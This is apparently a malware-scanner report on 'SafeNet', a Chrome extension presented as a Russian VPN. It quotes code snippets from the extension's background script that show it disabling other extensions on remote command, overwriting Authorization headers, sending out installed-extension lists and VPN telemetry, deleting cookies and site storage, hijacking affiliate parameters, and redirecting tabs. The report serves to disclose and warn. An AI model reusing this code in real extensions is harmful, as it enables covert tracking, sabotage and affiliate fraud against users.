Security Alert: Confirmed Malware
SafeNet - Доступ к сайтам!
ID: aclbgmfhbepcelnfkhipeafgacffclgo
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- beentoriedctView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Доступ к вашим любимым сайтам!
Разблокируйте сайты, заблокированные в вашей стране, компании или школе, с помощью SafeNet . SafeNet - это бесплатный прокси-сервис VPN без рекламы, который обеспечивает более быстрый и более открытый Интернет. Разблокируйте сайты, заблокированные или подвергнутые цензуре в вашей стране, компании и школе, и транслируйте мультимедиа с помощью бесплатного прокси-сервера SafeNet . Это не одноранговое приложение. Это расширение не ссылается и не поощряет загрузку каких-либо других продуктов и является полностью функциональным как есть, не требуя дополнительной загрузки. Если у вас есть какие-либо технические проблемы, пожалуйста, напишите нам по адресу [email protected] SafeNet требует следующих разрешений: - Proxy: расширение SafeNet проксирует ваш трафик через сервер в другой страна, чтобы изменить свой IP и разблокировать ограниченные сайты. - AllHosts / WebRequest / WebRequestBlocking: позволить расширению SafeNet проверять каждый веб-запрос и изменять его.. - Tabs: SafeNet отслеживает ваши вкладки и включает VPN только на определенных вкладках и показывает всплывающее окно на странице, чтобы позволить вам включать, отключать и исправлять проблемы с подключением. - Cookies: SafeNet получит доступ к вашим куки. Некоторые сайты кэшируют вашу страну в файлах cookie, и необходимо очистить их, прежде чем вы сможете получить доступ к этому сайту из другой страны. - Stroge: SafeNet хранит локальную конфигурацию и данные кеша.
Reads a remote-controlled `rmList` from the server config and silently disables any user-installed extensions whose IDs appear on the list via chrome.management.setEnabled(id, false). This is privilege abuse: the operator can sabotage/disable arbitrary competing or security extensions on every user's browser without the user's knowledge or consent.
chrome.management.getSelf(function(t) { t.id; xt.config.rmList.length > 0 && chrome.management.getAll && chrome.management.getAll(function(t) { t.forEach(function(t) { var n = t.id; t.enabled && -1 !== xt.config.rmList.indexOf(n) && chrome.management.setEnabled(n, !1) }) })})Installs a dynamic declarativeNetRequest rule that overwrites the `Authorization` header (not just `Proxy-Authorization`) on every main_frame HTTPS request across <all_urls> with the proxy account's base64 credentials. Overwriting the user-agent's Authorization header on arbitrary websites breaks/hijacks site authentication and can expose proxy credentials to every site the user visits — a network-interception primitive far broader than what a VPN/proxy needs.
chrome.declarativeNetRequest.updateDynamicRules({ addRules: [{ id: 56409783, priority: 1, action: { type: "modifyHeaders", requestHeaders: [{ header: "Authorization", operation: "set", value: btoa(t.proxyApi.username + ":" + t.proxyApi.password) }, { header: "Proxy-Authorization", operation: "set", value: "Basic " + btoa(t.proxyApi.username + ":" + t.proxyApi.password) }] }, condition: { urlFilter: "|https*", resourceTypes: ["main_frame"] } }]}, function(t) { console.log("chrome.declarativeNetRequest.updateDynamicRules", t)})On install (and on toggling analytics) the extension enumerates every other installed Chrome extension via chrome.management.getAll and exfiltrates the full list of extension IDs to its analytics backend. This installed-software fingerprint is sent as a Google-Analytics 'Installed' event — an unauthorized inventory of the user's browser environment that is unrelated to the extension's stated VPN purpose.
chrome.management.getAll(function(t) {var e = t.map(function(t) { return t.id});n.analytics.send({ ec: "Management", ea: "Installed", el: JSON.stringify(e)})}))The 'terminator' module injects code into arbitrary merchant tabs that wipes localStorage and sessionStorage entries based on a remote-fetched config from mallbery.com. Programmatically clearing other websites' client storage from a remote-controlled list is a stealth manipulation of third-party site state used to hijack affiliate/cashback attribution, and constitutes unauthorized tampering with first-party data on those sites.
s = function(t, n) { var e = function(t, n) { if ("*" !== n[0]) { var e = Object.keys(t); n.forEach(function(t) { e[t] && delete e[t] }), e.forEach(function(n) { t.removeItem(n) }) } }; e(localStorage, t), e(sessionStorage, n)}, chrome.scripting.executeScript({ target: { tabId: c }, func: s, args: [u.localStorage, u.sessionStorage]})For every domain in the remote 'terminator' config, the extension iterates the user's cookies via chrome.cookies and calls chrome.cookies.remove on any cookie whose name is not whitelisted. This silently destroys the user's existing cookies (sessions, affiliate tags) on third-party domains chosen by a remote operator — a covert manipulation of cross-site state.
r = !0, i = p.find( function(t) { return e.domain.includes(t) }), h[i] && (1 === h[i].length && "*" === h[i][0] ? r = !1 : h[i].forEach(function(t) { t === e.name && (r = !1)})), r && chrome.cookies.remove({ url: n, name: e.name});Attaches a chrome.webRequest.onBeforeRequest listener across <all_urls> recording every URL origin a tab requests, and simultaneously installs a declarativeNetRequest rule that blocks any URL containing affiliate-tracking parameters `t_tid=` or `t_s=`. Stripping these parameters is a classic affiliate-cookie-stuffing/hijack technique that diverts revenue from legitimate referrers to the extension operator while also harvesting the user's full domain-visit history.
a = { urls: ["<all_urls>"], tabId: r, types: ["main_frame", "sub_frame", "image", "script"] }, u = function(t) { var n = e.merchantDomains[i] || { data: {} }, r = new URL(t.url).origin; n.data[r] = Date.now(), e.merchantDomains[i] = n };...chrome.webRequest.onBeforeRequest.addListener(this .merchantRequestListeners[i].listener, a), chrome.declarativeNetRequest .updateDynamicRules({ addRules: [{ id: 88, priority: 1, action: { type: "block" }, condition: { regexFilter: "(t_tid=)|(t_s=)", resourceTypes: ["csp_report", "font", "image", "main_frame", "media", "object", "other", "ping", "script", "stylesheet", "sub_frame", "webbundle", "websocket", "webtransport", "xmlhttprequest"] } }]The extension is advertised as a Russian VPN ('SafeNet — Доступ к сайтам') for the safenet.su brand, but the bundled background script silently talks to a completely different stack of unrelated commercial domains: mallbery.com, analytics.savematik.com, analytics.besttoolbars.net, api.trademc.org, and netmax.online. None of these are disclosed in the user-facing UI; this is a bundled affiliate/coupon/analytics SDK piggybacking on a VPN extension.
L = "mallbery.com", C = "https://".concat(L), M = "https://analytics.savematik.com", D = ("".concat(C, "/"), "".concat(C, "/privacy-policy"), "".concat(C, "/redirect?skipVersion=true&v=") .concat(encodeURIComponent(chrome.runtime.getManifest() .version), "&link=")), z = "".concat(C, "/api/auth/refresh-token"), N = "".concat(C, "/api/offers"), F = "".concat(C, "/api/masterOffers/getLastModifiedDate"), U = "".concat(C, "/api/coupons"), ... at = { API_URL: "https://pingapi.".concat(L, "/api/ping"), DELAY: 9e5 }User VPN activity events are POSTed to analytics.besttoolbars.net — a third-party advertising/toolbar analytics provider unrelated to the extension's stated VPN function. Sending VPN-usage telemetry off to an ad-tech endpoint is undisclosed third-party tracking of users' browsing behavior.
this.settings.isAnalyticsEnabled && (this.analytics.send(n.ga), n.caaAnalytics && fetch( "https://analytics.besttoolbars.net/api/v1/activity/vpn", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(n.caaAnalytics) }))On every tab navigation the extension auto-injects content.bund.js + multiple feature modules (yandexMarket, uSearch, iamb, YTAd, scriptDomains, installBanner) into the page at document_start across <all_urls>. The 'YTAd' / yandexMarket / scriptDomains / installBanner modules are not disclosed by the extension name (a VPN) and are loaded from remote-config-driven sources — broad scripting privilege used for ad/coupon injection and banner overlay on third-party sites.
t.onComplete.addListener(function() { t.injectCSS({ runAt: "document_start", file: "app/styles/content.bund.css" }, function() { t.injectScript({ runAt: "document_start", file: "app/scripts/content.bund.js" }, function() { t.messages.reset(), !0 === xt.storage.hm ? void 0 !== t.installBanner && t .installBanner.addContent() : !1 === xt.storage.hm && (xt.proxy.addContent(t), xt.yandexMarket.newTab(t)), xt.uSearch.newTab(t), xt.iamb.newTab(t), xt.YTAd .newTab(t), xt.scriptDomains.newTab(t) }) })})At install time the server can supply an `installLink`. The extension scans every open tab for `utm_content=c40zz35d`, closes those tabs, and replaces them with the operator-supplied URL. This rewrites the user's existing browsing session on a remotely controlled signal — a covert tab redirect / install-source attribution-laundering primitive that the user has no opportunity to consent to.
this.request.post("/extension/install", {}, { error: function() { n(15e3) }, success: function(e) { if (void 0 === e.data) return n(15e3); if (!0 !== e.result) return n(15e3); r.storage.install_jwt_token = e.data.token, r.storage.install_hash = e.data.hash, r.storage.hm = e .data.hm, r.storage.euId = e.data.id, r.storage.pId = e.data.pid, r.storage.cpId = e.data.cpId, r.storage.spId = e.data.spId; try { void 0 !== e.data.settings && void 0 !== e.data.settings.installLink && null !== e.data.settings .installLink && chrome.tabs.query({}, function(t) { if (0 !== t.length) { for (var n = [], r = 0; r < t.length; r++) - 1 !== t[r].url.indexOf( "utm_content=c40zz35d") && n.push(t[r].id); n.length > 0 && (chrome.tabs.remove(n, function() {}), chrome.tabs.create({ url: e.data.settings.installLink, active: !0 }, function(t) {})) } }) } catch (t) { console.log(t) } }})All API requests to safenet.su are authenticated with a persistent `install_jwt_token` granted at install time and a unique install_hash. Combined with the chrome.runtime.setUninstallURL hook (line 24106) that pings the server with the install_hash on uninstall, this provides per-user device tracking and persistent server-side identity tied to one extension install across sessions and IPs.
o = { Accept: "application/json", "Content-Type": "application/json", "Extension-ID": this.app.info.id, "Extension-Version": this.app.info.version }, void 0 !== this.app.storage.install_jwt_token && (o.Authorization = "Bearer " + this.app.storage.install_jwt_token), i.a.isObject(r) || ( r = {}), void 0 === r.success && (r.success = function() {}), void 0 === r .error && (r.error = function() {}), void 0 === r.complete && (r.complete = function() {}), t.next = 10, fetch(EXTENSION_CONFIG.BASE + "/api" + n + "?" + this.buildQuery(e), { method: "GET", headers: o })On uninstall the browser is forced to GET safenet.su/api/extension/uninstall with the user's persistent install_hash. This silently reports a per-user identifier back to the operator at the moment of removal — a tracking signal the user cannot opt out of.
chrome.runtime.setUninstallURL(EXTENSION_CONFIG .BASE + "/api/extension/uninstall?id=" + this.storage.install_hash, function() {})Subscription purchase is routed through api.trademc.org / pay.trademc.org — a Minecraft-server payments provider — using the per-install hash as buyer identifier. Payment is opened in a new tab and the success/pending/fail callbacks are then auto-closed by the extension (line 23069). Funneling VPN payments through an unrelated game-shop API and silently closing the redirect tabs hides the actual money flow from the user and is a strong indicator of a bundled/rebranded affiliate-fraud kit.
fetch("https://api.trademc.org/shop.buyItems?items=".concat(t.app.config .subscription.productId, ":1&buyer=") .concat(t.app.storage.install_hash, "&v=3")) .then(function(t) { if (200 !== t.status) throw new Error("Fetch error: " + t); return t.json() }, function(t) {}) .then(function(t) { if (!0 !== _.isObject(t)) return !1; var n = void 0 === t.response ? {} : t.response; if (n.cart_id) { var e = EXTENSION_CONFIG.BASE + "/api/payment/status/success", r = EXTENSION_CONFIG.BASE + "/api/payment/status/pending", i = EXTENSION_CONFIG.BASE + "/api/payment/status/fail"; chrome.tabs.create({ url: "https://pay.trademc.org/?cart_id=".concat(n.cart_id, "&success_url=")By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 31.26 | 13 |
Files with findings
1 distinct path — top paths by unique finding count:
- app/scripts/background.js13
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.